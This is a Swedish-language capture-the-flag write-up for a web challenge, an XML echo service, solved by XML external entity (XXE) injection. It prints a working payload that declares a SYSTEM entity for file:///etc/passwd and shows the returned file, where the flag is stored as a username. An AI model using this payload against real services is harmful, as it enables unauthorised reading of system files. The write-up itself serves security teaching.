Kategori
Webb
Beskrivning
Kontrollera din XML med vår webbtjänst!
Skriv in din XML-data, vänta några sekunder, och få (nästan) samma sträng tillbaka. Snabbt, enkelt och… ja, det är ganska meningslöst, men det fungerar (nästan) felfritt!
Servern används också för att lagra en hemlig flagga, men den är i säkert förvar i namnet på ett användarkonto så det finns (nästan) absolut ingen risk att någon läser ut den från filsystemet!
Lösning
På utmaningssidan kan vi skriva in XML-data och få tillbaka samma data. Vi kan testa att skriva in en enkel XML-sträng och se vad som händer.
<root>
<element>data</element>
</root>
Vi får tillbaka samma sträng som vi skrev in men med en annan formatering.
<root> <element>data</element> </root>
Vi kan testa att skriva in en XML-sträng som innehåller en extern entity och se vad som händer.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
Vi får då tillbaka XML-strängen med entityn utbytt.
<userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
Vi kan testa att skriva in en XML-sträng som innehåller en extern entity som läser ut en fil.
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
Vi får då tillbaka XML-strängen med innehållet från /etc/passwd.
<root>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin cratectf{xml_xxe_xploit_xpert}:x:999:999::/home/cratectf{xml_xxe_xploit_xpert}:/bin/sh ctf:x:998:998::/home/ctf:/bin/sh </root>
Här kan vi se att flaggan finns i /etc/passwd som användarnamnet cratectf{xml_xxe_xploit_xpert}.